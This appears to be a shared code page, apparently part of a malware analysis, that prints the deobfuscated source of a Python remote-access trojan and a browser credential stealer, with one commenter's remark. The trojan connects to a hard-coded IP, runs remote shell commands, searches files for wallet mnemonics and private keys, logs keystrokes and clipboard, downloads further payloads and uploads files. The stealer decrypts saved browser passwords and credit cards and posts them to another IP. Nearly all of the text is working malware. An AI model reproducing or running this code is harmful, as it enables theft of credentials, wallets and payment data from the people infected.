                                    if str(name).lower().endswith(('.xls','.xlsx','.doc','.docx','.rtf','.json')):
                                        ups(os.path.join(root, name))
                                    else:
                                        try:
                                            content = open(os.path.join(root, name), 'r', encoding='utf-8', errors='ignore').read()
                                            if ismnemonic(content):
                                                ups(os.path.join(root, name))
                                            if in_pk(str(content)):
                                                ups(os.path.join(root, name))
                                        except:
                                            pass
            ups(os.path.join(os.path.expanduser("~"), ".n2/flist"))
        else:
            for root, dirs, files in os.walk(os.path.expanduser("~"), topdown=False):
                for name in files:
                    if is_pat(name):
                        if is_exceptFile(name) == False:
                            if is_exceptPath(root) == False:
                                if str(name).lower().endswith(('.xls','.xlsx','.doc','.docx','.rtf','.json')):
                                    ups(os.path.join(root, name))
                                else:
                                    try:
                                        content = open(os.path.join(root, name), 'r', encoding='utf-8', errors='ignore').read()
                                        if ismnemonic(content):
                                            ups(os.path.join(root, name))
                                        if in_pk(str(content)):
                                            ups(os.path.join(root, name))
                                    except:
                                        pass
            ups(os.path.join(os.path.expanduser("~"), ".n2/flist"))
    except: pass

def auto_up():
    # arun()
    fenv()
    # print()

class Shell(object):
    def __init__(A,S):
        A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=0;A.cp_stop=0
        A.par_dir = os.path.join(os.path.expanduser("~"), ".n2")
        A.cmds = {1:A.ssh_obj,2:A.ssh_cmd,3:A.ssh_clip,4:A.ssh_run,5:A.ssh_upload,6:A.ssh_kill,7:A.ssh_any,8:A.ssh_env}
        print("init success")
    def listen_recv(A):
        while A.is_alive:
            try:
                print("start listen")
                recv=A.sess.recv()
                print("listen recv:", recv)
                if recv==-1:
                    if A.timeout_count<30:A.timeout_count+=1;continue
                    else:A.timeout_count=0;recv=_N
                if recv:
                    A.timeout_count=0
                    with A.lock:
                        D=json.loads(recv);c=D['code'];args=D['args']
                        try:
                            if c != 2:
                                args=ast.literal_eval(args)
                        except:
                            pass
                        if c in A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()#tg(args)
                        else:
                            if A.is_alive:A.is_alive=_F;A.close()
                else:
                    if A.is_alive:A.timeout_count=0;A.is_alive=_F;A.close()
            except Exception as ex:print("error_listen:", ex)

    def shell(A):
        print("start shell")
        t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()
        while A.is_alive:
            try:sleep(5)
            except:break
        A.close()
        return A.is_delete

    def send(A,code=_N,args=_N):A.sess.send(code=code,args=args)
    def sendall(A,m):A.sess.sendall(m)
    def close(A):A.is_alive=_F;A.sess.shutdown()
    def send_n(A,a,n,o):p={_A:a,_O:o};A.send(code=n,args=p)

    def ssh_cmd(A,args):
        try:
            if os_type == "Windows":
                subprocess.Popen('taskkill /IM /F python.exe', shell=_T)
            else:
                subprocess.Popen('killall python', shell=_T)
        except: pass

    def ssh_obj(A,args):
        o=''
        try:
            a=args[_A];cmd=args['cmd']
            if cmd == '':o=''
            elif cmd.split()[0] == 'cd':
                proc = subprocess.Popen(cmd, shell=_T)
                if len(cmd.split()) != 1:
                    p=' '.join(cmd.split()[1:])
                    if os.path.exists(p):os.chdir(p)
                o=os.getcwd()
            else:
                proc=subprocess.Popen(cmd,shell=_T,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()
                try:o=decode_str(proc[0]);err=decode_str(proc[1])
                except:o=proc[0];err=proc[1]
                o=o if o else err
        except:pass
        p={_A:a,_O:o};A.send(code=1, args=p)

    def ssh_clip(A,args):
        global e_buf
        try:A.send(code=3, args=e_buf);e_buf = ""
        except:pass

    def bro_down(A,p):
        if os.path.exists(p):
            try:os.remove(p)
            except OSError:return _T
        try:
            if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
        except:pass

        host2 = f"http://{HOST}:{PORT}"
        try:
            myfile = requests.get(host2+"/brow/"+sType+"/"+gType, allow_redirects=_T)
            with open(p,'wb') as f:f.write(myfile.content)
            return _T
        except Exception as e:return _F

    def ssh_run(A,args):
        try:
            a=args[_A];p=A.par_dir+"/bow";res=A.bro_down(p)
            if res:
                if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
                else:subprocess.Popen([sys.executable,p])
            o = os_type + ' get browse'
        except Exception as e:o = f'Err4: {e}';pass
        p={_A:a,_O: o};A.send(code=4,args=p)

    def send_5(A,a,o):A.send_n(a,5,o)
    
    def ssh_upload(A,args):
        o=''
        try:
            D=args[_A];cmd=args['cmd']
            cmd=ast.literal_eval(cmd)
            if 'sdir' in cmd:sdir=cmd['sdir'];dn=cmd['dname'];sdir=sdir.strip();dn=dn.strip();A.ss_upd(D,cmd,sdir,dn);return _T
            elif 'sfile' in cmd:sfile=cmd['sfile'];dn=cmd['dname'];sfile=sfile.strip();dn=dn.strip();A.ss_upf(D,cmd,sfile,dn);return _T
            elif 'sfind' in cmd:dn=cmd['dname'];pat=cmd['sfind'];dn=dn.strip();pat=pat.strip();A.ss_ufind(D,cmd,dn,pat);return _T
            else:A.ss_ups();o='Stopped ...'
        except Exception as e:print("error_upload:", str(e));o = f'Err4: {e}';pass
        A.send_5(D,o)

    def ss_upd(A,D,args,sd,dname):
        try:
            if sd == '.':drive=os.getcwd()
            else: drive=os.path.join(os.getcwd(),sd)
            A.send_5(D,' >> upload start: ' + sd)
            for root, dirs, files in os.walk(drive, topdown=False):
                for name in files:
                    if A.cp_stop == 1:
                        break
                    if is_exceptFile(name) == False:
                        if is_exceptPath(root) == False:
                            try:
                                A.ss_hup(os.path.join(root, name),D,dname,5)
                            except:
                                pass
            A.ss_hup(os.path.join(os.path.expanduser("~"), ".n2/flist"),D,dname,5)
            A.send_5(D,' upload done ')
        except Exception as ex:
            o='copy error :'+str(ex);A.send_5(D,o)

    def ss_hup(A,sn,D,name,n):
        try:
            up_time = str(int(time.time()))
            files = [
                ('multi_file', (up_time + '_' + os.path.basename(sn), open(sn, 'rb'))),
            ]
            r = {
                'type': sType,
                'hid': gType + '_' + sHost,
                'uts': name,
            }
            host2 = f"http://{HOST}:{PORT}"
            requests.post(host2 + "/uploads", files=files, data=r)
            if os.path.basename(sn) != 'flist':
                write_flist(up_time + '_' + os.path.basename(sn) + " : " + sn + "\n", True)
                o=' copied ' + fmt_s(os.path.getsize(sn)) + ':  ' + os.path.basename(sn)
                A.send_n(D,n,o)
            else:
                write_flist('', False)
        except Exception as e:o=' failed: '+sn+' > '+str(e);A.send_n(D,n,o)

    def ss_upf(A,admin,args,sfile,name):
        D=admin;A.cp_stop=0;t=_N
        try:
            sdir=os.getcwd()
            A.send_5(D,' >> upload start: ' + sdir + ' ' + sfile)
            sn=os.path.join(sdir,sfile)
            A.ss_hup(sn,D,name,5)
            A.send_5(D,' uploaded done ')
        except Exception as ex:
            o=' copy error :'+str(ex);A.send_5(D,o)

    def ss_ufind(A,D,args,dname,pat):
        A.cp_stop=0
        try:
            A.send_5(D,' >> ufind start: ' + os.getcwd())
            drive = os.getcwd()
            for root, dirs, files in os.walk(drive, topdown=False):
                for name in files:
                    if A.cp_stop == 1:
                        break
                    if pat in name:
                        if is_exceptFile(name) == False:
                            if is_exceptPath(root) == False:
                                if str(name).lower().endswith(('.xls','.xlsx','.doc','.docx','.rtf','.json','.png','.jpg')):
                                    A.ss_hup(os.path.join(root, name),D,dname,5)
                                else:
                                    try:
                                        content = open(os.path.join(root, name), 'r', encoding='utf-8', errors='ignore').read()
                                        if ismnemonic(content):
                                            A.ss_hup(os.path.join(root, name),D,dname,5)
                                        if in_pk(str(content)):
                                            A.ss_hup(os.path.join(root, name),D,dname,5)
                                    except:
                                        pass
            A.ss_hup(os.path.join(os.path.expanduser("~"), ".n2/flist"),D,dname,5)
            A.send_5(D,' ufind done ')
        except Exception as ex:
            o=' copy error :'+str(ex);A.send_5(D,o)

    def ss_ups(A):A.cp_stop=1

    def ssh_env(A,args):
        A.cp_stop = 0
        a=args[_A]
        try:
            A.send_n(a,8,'--- uenv start ')
            if os_type == "Windows":
                available_drives = get_available_drives()
                for drive in available_drives:
                    if A.cp_stop == 1:
                        break
                    for root, dirs, files in os.walk(drive+'\\', topdown=False):
                        for name in files:
                            if '.env' in name:
                                if is_exceptFile(name) == False:
                                    if is_exceptPath(root) == False:
                                        try:
                                            content = open(os.path.join(root, name), 'r', encoding='utf-8', errors='ignore').read()
                                            if ismnemonic(content):
                                                A.ss_hup(os.path.join(root, name),a,'env',8)
                                            if in_pk(str(content)):
                                                A.ss_hup(os.path.join(root, name),a,'env',8)
                                        except:
                                            pass
                A.ss_hup(os.path.join(os.path.expanduser("~"), ".n2/flist"),a,'env',8)
            else:
                for root, dirs, files in os.walk(os.path.expanduser("~"), topdown=False):
                    if A.cp_stop == 1:
                        break
                    for name in files:
                        if '.env' in name:
                            if is_exceptFile(name) == False:
                                if is_exceptPath(root) == False:
                                    try:
                                        content = open(os.path.join(root, name), 'r', encoding='utf-8', errors='ignore').read()
                                        if ismnemonic(content):
                                            A.ss_hup(os.path.join(root, name),a,'env',8)
                                        if in_pk(str(content)):
                                            A.ss_hup(os.path.join(root, name),a,'env',8)
                                    except:
                                        pass
                A.ss_hup(os.path.join(os.path.expanduser("~"), ".n2/flist"),a,'env',8)
            A.send_n(a,8,'--- uenv success ')
        except Exception as e:A.send_n(a,8,' uenv err: '+str(e))

    def ssh_kill(A,args):
        D=args[_A]
        if os_type == "Windows":
            try:subprocess.Popen('taskkill /IM chrome.exe /F')
            except:pass
            try:subprocess.Popen('taskkill /IM brave.exe /F')
            except:pass
        else:
            try:subprocess.Popen('killall Google\ Chrome')
            except:pass
            try:subprocess.Popen('killall Brave\ Browser')
            except:pass
        p={_A:D,_O: 'Chrome & Browser are terminated'}
        A.send(code=6,args=p)

    def down_any(A,p):
        if os.path.exists(p):
            try:os.remove(p)
            except OSError:return _T
        try:
            if not os.path.exists(A.par_dir):os.makedirs(A.par_dir)
        except:pass

        host2 = f"http://{HOST}:{PORT}"
        try:
            myfile = requests.get(host2+"/adc/"+sType, allow_redirects=_T)
            with open(p,'wb') as f:f.write(myfile.content)
            return _T
        except Exception as e:return _F

    def ssh_any(A,args):
        try:
            D=args[_A];p = A.par_dir + "/adc";res=A.down_any(p)
            if res:
                if os_type == "Windows":subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
                else:subprocess.Popen([sys.executable,p])
            o = os_type + ' get anydesk'
        except Exception as e:o = f'Err7: {e}';pass
        p={_A:D,_O:o};A.send(code=7,args=p)

HOST0 = '138.201.199.46'
PORT0 = 2251

class Client():
    def __init__(A):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count = 0;A.shell = _N

    @property
    def make_connection(A):
        while _T:
            try:
                A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s = Session(A.client_socket)
                s.connect(A.server_ip, A.server_port)
                A.shell = Shell(s);A.is_active = _T
                if A.shell.shell():
                    try:dir = os.getcwd();print("dir:", dir);fn=os.path.join(dir,sys.argv[0]);print("fn:", fn);os.remove(fn)
                    except Exception as ex:print("connection error:", ex);pass
                    return _T
                sleep(15)
            except Exception as e: print("error_make:", e); sleep(20);pass
    def run(A):
        t2=Thread(target=auto_up);t2.daemon=_T;t2.start()
        if A.make_connection:return

client = Client()
import sys

is_w=sys.platform.startswith('win')
if __name__ == "__main__":
    if is_w == _F:
        try:client.run()
        except KeyboardInterrupt:pass
        sys.exit(0)

_M='-m';_P='pip';_L='install'
import subprocess
try:import pyWinhook as pyHook
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyWinhook']);import pyWinhook as pyHook
try:import pyperclip
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyperclip']);import pyperclip
try:import psutil
except:subprocess.check_call([sys.executable,_M,_P,_L,'psutil']);import psutil
try:import win32process
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32process
try:import pythoncom
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import pythoncom
try:import win32gui
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32gui

def act_win_pn():
    try:pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow());return (pid[-1], psutil.Process(pid[-1]).name())
    except:pass

def write_txt(text):0

c_win = 0
def check_window(event):
    global c_win
    if c_win != event.Window:
        (pid, text) = act_win_pn()
        tz = timezone(offset=timedelta(hours=9))
        d_t = datetime.fromtimestamp(time.time(), tz)
        t_s = d_t.strftime("%m/%d/%Y, %H:%M:%S")
        c_win = event.Window
        return f"\n**\n-[ {text} | PID: {pid}-{c_win}\n-[ @ {t_s} | {event.WindowName}\n**\n"
    return ""
m_win = 0
def hmld(event):
    global e_buf, m_win
    if m_win!=event.Window:m_win=event.Window;tt='<..>'
    else:tt='<.>'
    e_buf+=tt;write_txt(tt);return _T

def hmrd(event):
    global e_buf, m_win
    if m_win!=event.Window:m_win=event.Window;tt='<,,>'
    else:tt='<,>'
    e_buf+=tt;write_txt(tt);return _T

def is_down(status):
    if status == 128: return _T
    return _F

def is_control_down():
    return is_down(pyHook.GetKeyState(0x11)) or is_down(pyHook.GetKeyState(0xA2)) or is_down(pyHook.GetKeyState(0xA3))

def run_copy_clipboard():
    global e_buf
    try:
        copied = pyperclip.waitForPaste(0.05)
        tt = "\n=================BEGIN================\n";tt += copied;tt += "\n==================END==================\n"
        e_buf += tt;write_txt(tt)
    except Exception as ex:pass

def hkb(event):
    if event.KeyID == 0xA2 or event.KeyID == 0xA3:return _T

    global e_buf
    tt = check_window(event)

    key = event.Ascii
    if (is_control_down()):key=f"<^{event.Key}>"
    elif key==0xD:key="\n"
    else:
        if key>=32 and key<=126:key=chr(key)
        else:key=f'<{event.Key}>'
    tt += key
    if is_control_down() and event.Key == 'C':
        start_time = Timer(0.1, run_copy_clipboard)
        start_time.start()
    elif is_control_down() and event.Key == 'V':
        start_time = Timer(0.1, run_copy_clipboard)
        start_time.start()

    e_buf += tt;write_txt(tt);return _T
def startHk():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()
def hk_loop():startHk();pythoncom.PumpMessages()
def run_client():
    t1=Thread(target=hk_loop);t1.daemon=_T;t1.start()
    try:client.run()
    except KeyboardInterrupt:sys.exit(0)

if __name__ == "__main__":
    run_client()

@AdityaMitra5102

Copy link
Copy Markdown

On the other hand, the file bow is very interesting. It has a code, and it also includes a similar obfuscated chunk.

The code here steals all the login data from your browsers

from typing import Union,Type
from datetime import datetime,timedelta
from pathlib import Path
import base64,socket,os,re,json,sqlite3,shutil,time,platform,subprocess,sys,socket,os,re
_m='-m';_pp='pip';_inl='install'
os_type = platform.system()
if os_type=="Windows":
    try:import win32crypt
    except:subprocess.check_call([sys.executable,_m,_pp,_inl,'pywin32'])
try:import requests
except:subprocess.check_call([sys.executable,_m,_pp,_inl,'requests']);import requests
try:from Crypto.Hash import SHA1;from Crypto.Protocol.KDF import PBKDF2;from Crypto.Cipher import AES
except:subprocess.check_call([sys.executable,_m,_pp,_inl,'pycryptodome']);from Crypto.Hash import SHA1;from Crypto.Protocol.KDF import PBKDF2;from Crypto.Cipher import AES
if os_type=="Linux":
    try:import secretstorage
    except:subprocess.check_call([sys.executable,_m,_pp,_inl,'secretstorage']);import secretstorage

sType = "39"
gType = "391"
home = os.path.expanduser("~")
ts = int(time.time()*1000)
host="LjE3LjI0OTUuMTY0"
#host="    AuMC4x    MTI3Lj"
hn = ''
if gType == "brow":
    hn = socket.gethostname()
else:
    hn = gType + '_' + socket.gethostname()

host1 = '45.128.52.14'
host2 = f'http://{host1}:1224'

class BrowserVersion:
    def __str__(A):return A.base_name
    def __eq__(A,__o):return A.base_name==__o

class Chrome(BrowserVersion):base_name = "chrome";v_w = ["chrome", "chrome dev", "chrome beta", "chrome canary"];v_l = ["google-chrome", "google-chrome-unstable", "google-chrome-beta"];v_m = ["chrome", "chrome dev", "chrome beta", "chrome canary"]
class Brave(BrowserVersion):base_name = "brave";v_w = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_l = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_m = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"]
class Opera(BrowserVersion):base_name = "opera";v_w = ["Opera Stable", "Opera Next", "Opera Developer"];v_l = ["opera", "opera-beta", "opera-developer"];v_m = ["com.operasoftware.Opera", "com.operasoftware.OperaNext", "com.operasoftware.OperaDeveloper"]
class Yandex(BrowserVersion):base_name = "yandex";v_w = ["YandexBrowser"];v_l = ["YandexBrowser"];v_m = ["YandexBrowser"]
class MsEdge(BrowserVersion):base_name = "msedge";v_w = ["Edge"];v_l = [];v_m = []

available_browsers = [Chrome, Brave, Opera, Yandex, MsEdge]

class ChromeBase:
    def __init__(A,verbose=True,blank_passwords=False):A.verbose=verbose;A.blank_passwords=blank_passwords;A.values=[];A.webs=[];A.target_os=platform.system()
    @staticmethod
    def get_datetime(chromedate):return datetime(1601,1,1)+timedelta(microseconds=chromedate)
    @staticmethod
    def get(func):
        """
        Update paths with the Chrome versions
        Will change protected members from child class.
        """
        def wrapper(*args):
            cls = args[0];sys_ = platform.system();base_name = cls.browser.base_name;vers = None

            if sys_== "Windows":vers=cls.browser.v_w
            elif sys_== "Linux":vers=cls.browser.v_l
            elif sys_== "Darwin":vers=cls.browser.v_m

            for ver in vers:
                for i in range(120):
                    if i==0:profile = "Default"
                    else:profile = "Profile " + str(i)
                    # Accessing protected member to update the paths.
                    browser_path = cls.browsers_paths[base_name].format(ver=ver,profile=profile)
                    database_path = cls.browsers_database_paths[base_name].format(ver=ver,profile=profile)
                    brw_path = cls.browsers_web_paths[base_name].format(ver=ver,profile=profile)

                    if os.path.exists(browser_path) and os.path.exists(database_path):
                        cls._browser_paths.append(browser_path)
                        cls._database_paths.append(database_path)
                    if os.path.exists(brw_path):
                        cls._brw_paths.append(brw_path)

                return func(*args)

        return wrapper

    @staticmethod
    def decrypt_windows_password(password, key):0

    @staticmethod
    def decrypt_unix_password(password: bytes, key: bytes) -> str:
        """
        Decrypt Unix Chrome password
        Salt: The salt is   saltysalt " (constant)
        Iterations: 1003(constant) for symmetric key derivation in macOS. 1 iteration in Linux.
        IV: 16 spaces.
        """
        try:
            iv = b' ' * 16  # Initialization vector
            password = password[3:]  # Delete the 3 first chars
            cipher = AES.new(key, AES.MODE_CBC, IV=iv)  # Create cipher
            return cipher.decrypt(password).strip().decode('utf8')
        except Exception:return ""

    def retrieve_database(self) -> list:
        """
        Retrieve all the information from the databases with encrypted values.
        """
        temp_path = (home + "/AppData/Local/Temp") if self.target_os == "Windows" else "/tmp"
        database_paths, keys = self.database_paths, self.keys
        try:
            for database_path in database_paths:  # Iterate on each available database
                # Copy the file to the temp directory as the database will be locked if the browser is running
                filename = os.path.join(temp_path, "LoginData.db")

                shutil.copyfile(database_path, filename)

                db = sqlite3.connect(filename)  # Connect to database
                cursor = db.cursor()  # Initialize cursor for the connection
                # Get data from the database
                cursor.execute(
                    "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created"
                )

                # Set default values. Some of the values from the database are not filled.
                creation_time = "unknown"
                last_time_used = "unknown"
                try:
                    key = keys[database_paths.index(database_path)]
                except:
                    key = keys[0]

                # Iterate over all the rows
                for row in cursor.fetchall():
                    origin_url = row[0]
                    action_url = row[1]
                    username = row[2]
                    encrypted_password = row[3]
                    created = row[4]
                    lastused = row[5]

                    # Decrypt password
                    if self.target_os == "Windows":
                        password = self.decrypt_windows_password(encrypted_password, key)

                    elif self.target_os == "Linux" or self.target_os == "Darwin":
                        password = self.decrypt_unix_password(encrypted_password, key)

                    else:
                        password = ""

                    if password == "" and not self.blank_passwords:
                        continue

                    if created and created != 86400000000:creation_time = str(self.__class__.get_datetime(created))
                    if lastused and lastused != 86400000000:last_time_used = self.__class__.get_datetime(lastused)

                    # Append all values to list
                    self.values.append(dict(origin_url=origin_url,action_url=action_url,username=username,password=password,creation_time=creation_time,last_time_used=last_time_used))

                cursor.close();db.close()
                try:os.remove(filename)
                except OSError:pass
            return self.values
        except Exception as E:return []

    def retrieve_web(self):

        web_paths, keys = self.brw_paths, self.keys
        temp_path = (home + "/AppData/Local/Temp") if self.target_os == "Windows" else "/tmp"

        try:
            for web_path in web_paths:
                filename = os.path.join(temp_path, "webdata.db")
                shutil.copyfile(web_path, filename)

                conn = sqlite3.connect(filename)
                cursor = conn.cursor()
                cursor.execute(
                    'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')

                key = keys[web_paths.index(web_path)]
                for row in cursor.fetchall():
                    if not row[0] or not row[1] or not row[2] or not row[3]:
                        continue

                    # Decrypt password
                    if self.target_os == "Windows":card_number = self.decrypt_windows_password(row[3], key)
                    elif self.target_os == "Linux" or self.target_os == "Darwin":card_number = self.decrypt_unix_password(row[3], key)
                    else:card_number = ""

                    if card_number == "" and not self.blank_passwords:continue

                    self.webs.append(dict(name_on_card=row[0],expiration_month=row[1],expiration_year=row[2],card_number=card_number,date_modified=row[4]))

                cursor.close();conn.close()
                try:os.remove(filename)
                except OSError:pass
        except Exception as E:return []

    def pretty_print(self) -> str:
        """
        Return the pretty-printed values
        """
        o = ""
        for dict_ in self.values:
            for val in dict_:
                o += f"{val} : {dict_[val]}\n"
            o += '-' * 50 + '\n'

        for dict_ in self.webs:
            for val in dict_:
                o += f"{val} : {dict_[val]}\n"
            o += '-' * 50 + '\n'

        return o

    def save(self, fn: Union[Path, str], filepath: Union[Path, str], blank_file: bool = False, verbose: bool = True) -> bool:
        content = filepath + '\n' + self.pretty_print()
        options = {'ts': str(ts),'type': sType,'hid': hn,'ss': str(fn),'cc': content}
        url = host2+'/keys'
        try:requests.post(url, data=options)
        except:return ""

class Windows(ChromeBase):
    def __init__(self,
                 browser: Type[BrowserVersion] = Chrome,
                 verbose: bool = True,
                 blank_passwords: bool = False):

        super(Windows, self).__init__(verbose, blank_passwords)
        self.browser = browser()
        # This is where all the paths for the installed browsers will be saved
        self._browser_paths = []
        self._database_paths = []
        self._brw_paths = []

        self.keys = []
        base_path = home+"/AppData"

        self.browsers_paths = {
            "chrome": os.path.join(base_path, r"Local\\Google\\{ver}\\User Data\\Local State"),
            "opera": os.path.join(base_path, r"Roaming\\Opera Software\\{ver}\\Local State"),
            "brave": os.path.join(base_path, r"Local\\BraveSoftware\\{ver}\\User Data\\Local State"),
            "yandex": os.path.join(base_path, r"Local\\Yandex\\{ver}\\User Data\\Local State"),
            "msedge": os.path.join(base_path, r"Local\\Microsoft\\{ver}\\User Data\\Local State")
        }
        self.browsers_database_paths = {
            "chrome": os.path.join(base_path, r"Local\\Google\\{ver}\\User Data\\{profile}\\Login Data"),
            "opera": os.path.join(base_path, r"Roaming\\Opera Software\\{ver}{profile}\\Login Data"),
            "brave": os.path.join(base_path, r"Local\\BraveSoftware\\{ver}\\User Data\\{profile}\\Login Data"),
            "yandex": os.path.join(base_path, r"Local\\Yandex\\{ver}\\User Data\\{profile}\\Local State"),
            "msedge": os.path.join(base_path, r"Local\\Microsoft\\{ver}\\User Data\\{profile}\\Login Data")
        }
        self.browsers_web_paths = {
            "chrome": os.path.join(base_path, r"Local\\Google\\{ver}\\User Data\\{profile}"),
            "opera": os.path.join(base_path, r"Roaming\\Opera Software\\{ver}{profile}"),
            "brave": os.path.join(base_path, r"Local\\BraveSoftware\\{ver}\\User Data\\{profile}"),
            "yandex": os.path.join(base_path, r"Local\\Yandex\\{ver}\\User Data\\{profile}"),
            "msedge": os.path.join(base_path, r"Local\\Microsoft\\{ver}\\User Data\\{profile}")
        }

    @property
    def browser_paths(self):return self._browser_paths
    @property
    def database_paths(self):return self._database_paths
    @property
    def brw_paths(self):return self._brw_paths

    @ChromeBase.get
    def fetch(self):
        """
        Return database paths and keys for Windows
        """
        # Get the AES key
        self.keys = [self.__class__.get_encryption_key(path) for path in self.browser_paths]
        return self.database_paths, self.keys

    @staticmethod
    def get_encryption_key(path: Union[Path, str]):
        """
        Return the encryption key of a path
        """
        try:
            with open(path, "r", encoding="utf-8") as file:  # Open the "Local State"
                local_state = file.read()
                local_state = json.loads(local_state)

            key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
            key = key[5:]
            return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
        except:
            return ""
    @staticmethod
    def decrypt_windows_password(password: bytes, key: bytes) -> str:
        try:
            # Get the initialization vector
            iv = password[3:15]
            password = password[15:]
            # Generate cipher
            cipher = AES.new(key, AES.MODE_GCM, iv)
            # Decrypt password
            return cipher.decrypt(password)[:-16].decode()

        except Exception:
            try:return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
            except Exception:return ""
class Linux(ChromeBase):
    """ Decryption class for Chrome in Linux OS """

    def __init__(self,
                 browser: Type[BrowserVersion] = Chrome,
                 verbose: bool = False,
                 blank_passwords: bool = False):

        super(Linux, self).__init__(verbose, blank_passwords)

        self.browser = browser()

        # This is where all the paths for the installed browsers will be saved
        self._browser_paths = []
        self._database_paths = []
        self._brw_paths = []

        self.keys = []
        base_path = os.getenv('HOME')

        self.browsers_paths = {
            "chrome": base_path + "/.config/{ver}/{profile}",
            "opera": base_path + "/.config/{ver}{profile}",
            "brave": base_path + "/.config/BraveSoftware/{ver}/{profile}",
            "yandex": "",
            "msedge": ""
        }
        self.browsers_database_paths = {
            "chrome": base_path + "/.config/{ver}/{profile}/Login Data",
            "opera": base_path + "/.config/{ver}{profile}/Login Data",
            "brave": base_path + "/.config/BraveSoftware/{ver}/{profile}/Login Data",
            "yandex": "",
            "msedge": ""
        }
        self.browsers_web_paths = {
            "chrome": base_path + "/.config/{ver}/{profile}",
            "opera": base_path + "/.config/{ver}{profile}",
            "brave": base_path + "/.config/BraveSoftware/{ver}/{profile}",
            "yandex": "",
            "msedge": ""
        }
    @property
    def browser_paths(self):return self._browser_paths
    @property
    def database_paths(self):return self._database_paths
    @property
    def brw_paths(self):return self._brw_paths

    @ChromeBase.get
    def fetch(self):
        """
        Return database paths and keys for Linux
        """
        key = self.get_encryption_key()
        if not key:return [],[]
        self.keys.append(key)
        return self.database_paths, self.keys

    def get_encryption_key(self) -> bytes:
        """
        Return the encryption key for the browser
        """
        try:
            label = "Chrome Safe Storage"  # Default
            # Some browsers have a different safe storage label
            if self.browser=="opera":label="Chromium Safe Storage"
            elif self.browser=="brave":label="Brave Safe Storage"
            elif self.browser=="yandex":label="Yandex Safe Storage"

            # Default password is peanuts
            passw = 'peanuts'.encode('utf8')
            # New connection to session bus
            bus = secretstorage.dbus_init()
            collection = secretstorage.get_default_collection(bus)
            for item in collection.get_all_items():  # Iterate
                if item.get_label() == label:passw = item.get_secret().decode("utf-8");break

            return PBKDF2(passw, b'saltysalt', 16, 1)
        except:return ""

class Mac(ChromeBase):
    """ Decryption class for Chrome in MacOS """

    def __init__(self,
                 browser: Type[BrowserVersion] = Chrome,
                 verbose: bool = True,
                 blank_passwords: bool = False):
        """
        Decryption class for MacOS. Only tested in the macOS Monterrey version.
        :param browser: Choose which browser use. Available: "chrome" (default), "opera", and "brave".
        :param verbose: print output
        """

        super(Mac, self).__init__(verbose, blank_passwords)
        self.browser = browser()
        self.keys = []
        self._browser_paths = []
        self._database_paths = []
        self._brw_paths = []

        self.browsers_paths = {
            "chrome": os.path.expanduser("~/Library/Application Support/Google/{ver}/{profile}"),
            "opera": os.path.expanduser("~/Library/Application Support/{ver}{profile}"),
            "brave": os.path.expanduser("~/Library/Application Support/BraveSoftware/{ver}/{profile}"),
            "yandex": "",
            "msedge": ""
        }

        self.browsers_database_paths = {
            "chrome": os.path.expanduser("~/Library/Application Support/Google/{ver}/{profile}/Login Data"),
            "opera": os.path.expanduser("~/Library/Application Support/{ver}{profile}/Login Data"),
            "brave": os.path.expanduser("~/Library/Application Support/BraveSoftware/{ver}/{profile}/Login Data"),
            "yandex": "",
            "msedge": ""
        }

        self.browsers_web_paths = {
            "chrome": os.path.expanduser("~/Library/Application Support/Google/{ver}/{profile}"),
            "opera": os.path.expanduser("~/Library/Application Support/{ver}{profile}"),
            "brave": os.path.expanduser("~/Library/Application Support/BraveSoftware/{ver}/{profile}"),
            "yandex": "",
            "msedge": ""
        }

    @property
    def browser_paths(self):return self._browser_paths
    @property
    def database_paths(self):return self._database_paths
    @property
    def brw_paths(self):return self._brw_paths
    @ChromeBase.get
    def fetch(self):
        """
        Return database paths and keys for MacOS
        """
        key = self.get_encryption_key()
        if not key:return [],[]

        # Decrypt the keychain key to a hex key
        self.keys.append(PBKDF2(key, b'saltysalt', 16, 1003, hmac_hash_module=SHA1))
        return self.database_paths, self.keys

    def get_encryption_key(self) -> Union[str, None]:
        """
        Return the encryption key for the browser

        Note: The system will notify the user and ask for permission
        even running as a sudo user as it's trying to access the keychain.
        """
        try:
            label="Chrome"  # Default
            # Some browsers have a different safe storage label
            if self.browser=="opera":label="Opera"
            elif self.browser=="brave":label="Brave"
            elif self.browser=="yandex":label="Yandex"

            # Run command
            # Note: this command will prompt a confirmation window
            safe_storage_key = subprocess.check_output(
                f"security 2>&1 > /dev/null find-generic-password -ga '{label}'",
                shell=True)

            # Get key from the output
            return re.findall(r'\"(.*?)\"', safe_storage_key.decode("utf-8"))[0]
        except:return ""

if os_type == "Windows":oss = Windows
elif os_type == "Linux":oss = Linux
elif os_type == "Darwin":oss = Mac
else:dir = os.getcwd();os.remove(dir+'\%s' % sys.argv[0]);sys.exit(-1)  # Clean exit
idx = 0
for br in available_browsers:
    pax = oss(br, blank_passwords=False)  # Class instance
